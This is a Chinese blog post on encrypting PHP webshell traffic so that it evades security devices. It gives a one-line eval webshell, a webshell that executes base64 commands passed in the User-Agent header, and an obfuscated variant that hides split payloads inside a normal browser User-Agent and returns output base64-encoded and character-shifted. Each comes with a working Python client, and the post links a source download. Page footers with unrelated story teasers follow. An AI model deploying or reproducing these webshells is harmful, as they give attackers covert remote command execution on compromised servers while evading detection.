PHPwebshell 流量加密

PHPwebshell 流量加密分析

目前市场上的安全设备对于恶意数据流都可精准检测其特征,而常规的一句话木马、菜刀等特征过于明显。而且大部分的黑客工具都被列入特征库,所以攻击方的攻击手法很容易被针对,攻击链路也很容易被还原。

php一句话

<?php eval(@$_POST['a']); ?>常规的一句话木马传输参数均为明文传输,很容被针对检测。

一句话webshell访问
一句话webshell流量

简单加密

常规的webshell是将所需的payload通过post进行传参,很容易被流量设备检测。如下,可以通过user_agent base64加密进行传参执行命令。

Webshell原代码:

```

<?php

$dd = $_SERVER['HTTP_USER_AGENT’];

//获取user_agent参数

$qq = base64_decode($dd);

//解密user_agent参数

$jjj = exec ($qq,$out);

//执行user_agent参数

for ($i=0 ;$i < count($out) ;$i++){

$ls = $ls.$out[$i]."\n";

}

echo base64_encode($ls);

//加密输入执行后的系统命令

?>

```

user_agent传参
数据流量图

顺手配上一个简单python客户端

客户端源代码:

#!/usr/bin/python

# -*- coding: UTF-8 -*-

import requests

import base64

str_1 = ""

headers = {

"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",

"User-Agent": "adwd",

"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",

"Accept-Encoding":"gzip, deflate"

}

while True:

str_1 = input("please input cmd:")

str_1 = bytes(str_1, encoding="gbk")

str_1 = base64.b64encode(str_1)

headers['User-Agent']=str_1

ls = requests.get(url="http://127.0.0.1/1.php",headers=headers)#url更改位置

ls_1 = ls.content

ls_1 = base64.b64decode(ls_1)

ls_2 = str (ls_1, encoding="gbk")

print (ls_2)

客户端使用

混淆加密

思路:客户端将所需的payload进行拆分,嵌入正常的user_agent中,然后传入服务器。Webshell再从user_agent中提取payload执行,将回显命令通过base64+assic移位进行加密。

Webshell源码:

<?php

$dd = $_SERVER['HTTP_USER_AGENT'];

$dd = str_replace("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_ Version/5.1 Safari/534.50", "", $dd);

$dd = str_replace("6_8; en-us) AppleWebKit/53", "", $dd);

$dd = str_replace("4.50 (KHTML, like Gecko)", "", $dd);#提取payload

$qq = base64_decode($dd);

$jjj = exec ($qq,$out);

for ($i=0 ;$i < count($out) ;$i++){

$ls = $ls.$out[$i]."\n";

}

function xxx($string_1)

{

#echo strlen($string_1);

for ($j=0 ;$j < strlen($string_1) ;$j++){

$string_1[$j] = chr(ord($string_1[$j])+1);

$ls_1 = $ls_1.$string_1[$j];

}

return $ls_1;

}

$ls = base64_encode($ls);#base64加密

$ls = xxx($ls);#assic移位

echo $ls;

?>

客户端源代码:

#!/usr/bin/python

# -*- coding: UTF-8 -*-

import requests

import base64

str_1 = ""

str_2 = ""

def divide(str3):#拆分payload

num = int(len(str3)/2)

num_1 = int(len(str3))

str1 = str3[0:num]

str2 = str3[num:num_1]

return (str1,str2)

headers = {

"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",

"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",

"Accept-Encoding": "gzip, deflate"

}

user_agent_1 = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_ Version/5.1 Safari/534.50"

user_agent_2 = "6_8; en-us) AppleWebKit/53"

user_agent_3 = "4.50 (KHTML, like Gecko)"

headers['User-Agent']=user_agent_1+str_1+user_agent_2+str_2+user_agent_3#拼接user_agent

def xxx(string_1):#assic移位解密

xxx_ls = ""

for i in string_1:

xxx_ls = xxx_ls + chr(ord(i)-1)

return (xxx_ls)

print("example:http://127.0.0.1/1.php")

url = input("请输入:")

while True:

str_3 = input("please input cmd:")

str_3 = bytes(str_3, encoding="gbk")

str_3 = base64.b64encode(str_3)

str_1, str_2 = divide(str_3)

str_1 = str(str_1, encoding="gbk")

str_2 = str(str_2, encoding="gbk")

headers['User-Agent']=user_agent_1+str_1+user_agent_2+str_2+user_agent_3

ls = requests.get(url=url,headers=headers)

ls_1 = str(ls.content,encoding="gbk")

ls_1 = xxx(ls_1)

ls_1 = bytes(ls_1, encoding="gbk")

ls_1 = base64.b64decode(ls_1)

ls_2 = str (ls_1, encoding="gbk")

print (ls_2)

客户端
数据包

源码下载地址:

https://github.com/1109450752/php_shell/blob/master/php%E6%B7%B7%E6%B7%86%E5%8A%A0%E5%AF%86webshell.zip

                                                                                                                                                      2020-7-14

                                                                                                                                                            YLL

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,064评论 5 466
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,606评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,011评论 0 328
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,550评论 1 269
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,465评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 47,919评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,428评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,075评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,208评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,185评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,191评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,914评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,482评论 3 302
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,585评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,825评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,194评论 2 344
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,703评论 2 339

推荐阅读更多精彩内容

  • 前言 本篇整理信息收集阶段,大概会占渗透测试总时间的60%,视能力和情况而定,做到不影响企业业务正常运行的情况下,...
    wind_飘阅读 3,221评论 0 2
  • Scrapy Shell Scrapy终端是一个交互终端,我们可以在未启动spider的情况下尝试及调试代码 启动...
    陈small末阅读 307评论 0 0
  • 前言:文章附上具体的脚本信息内容略长。 1、CE6851 OPS & 开放系统 产品文档链接: http://su...
    Weah阅读 2,588评论 1 1
  • 简单脚本分享 简单爬行页面 3.x与2.x import urllib.request #3.x版本url='ht...
    帅猪佩奇阅读 368评论 0 0
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,457评论 16 22